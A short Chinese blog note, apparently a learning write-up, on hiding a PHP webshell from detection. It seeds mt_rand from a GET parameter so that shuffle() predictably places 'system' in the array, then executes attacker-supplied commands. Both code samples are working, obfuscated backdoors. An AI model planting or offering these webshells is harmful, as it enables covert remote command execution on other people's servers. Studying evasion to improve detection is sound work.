记一次学习--webshell绕过(利用清洗函数)

目录

样本

样本修改


样本

php 复制代码
<?php
$a = array("t", "system");
shuffle($a);
$a[0]($_POST[1]);

通过 shuffle 函数打乱数组,然后通过$a[0]取出第一个元素,打乱后第一个元素可能是t也可能是system。然后再进行POST传参进行命令执行。

这里抓包可以正常执行

样本修改

对于shuffle函数来说,他的随机是伪随机,我们可以通过对其代码的分析然后预测数组中元素打乱的规律。对于sheuffle来说底层调用的是mt_rand来生成随机值,以次控制打乱的数组中的元素的顺序。然后对于mt_rand来说当他的种子定好他的随机值就不会发生改变了。

php 复制代码
<?php
$arr = array("t","a","s","system");
function shift(&$arr){
mt_srand($_GET[0]);
shuffle($arr);
}
shift($arr);
$arr[2]($_GET[1]);
相关推荐
小Tomkk2 小时前
2025年PMP 学习十五 第10章 项目资源管理
学习·pmp·项目pmp
神经毒素2 小时前
WEB安全--Java安全--shiro721反序列化漏洞
安全·web安全
oceanweave3 小时前
【K8S学习之生命周期钩子】详细了解 postStart 和 preStop 生命周期钩子
学习·kubernetes
黄暄5 小时前
初识计算机网络。计算机网络基本概念,分类,性能指标
笔记·学习·计算机网络·考研
梅子酱~6 小时前
Vue 学习随笔系列二十三 -- el-date-picker 组件
前端·vue.js·学习
Alice-YUE6 小时前
【HTML5学习笔记1】html标签(上)
前端·笔记·学习·html·html5
jerry6097 小时前
LLM笔记(五)概率论
人工智能·笔记·学习·概率论
threelab9 小时前
12.three官方示例+编辑器+AI快速学习webgl_buffergeometry_indexed
学习·编辑器·webgl
jerry6099 小时前
LLM笔记(六)线性代数
笔记·学习·线性代数·自然语言处理
ghost1439 小时前
C#学习第23天:面向对象设计模式
开发语言·学习·设计模式·c#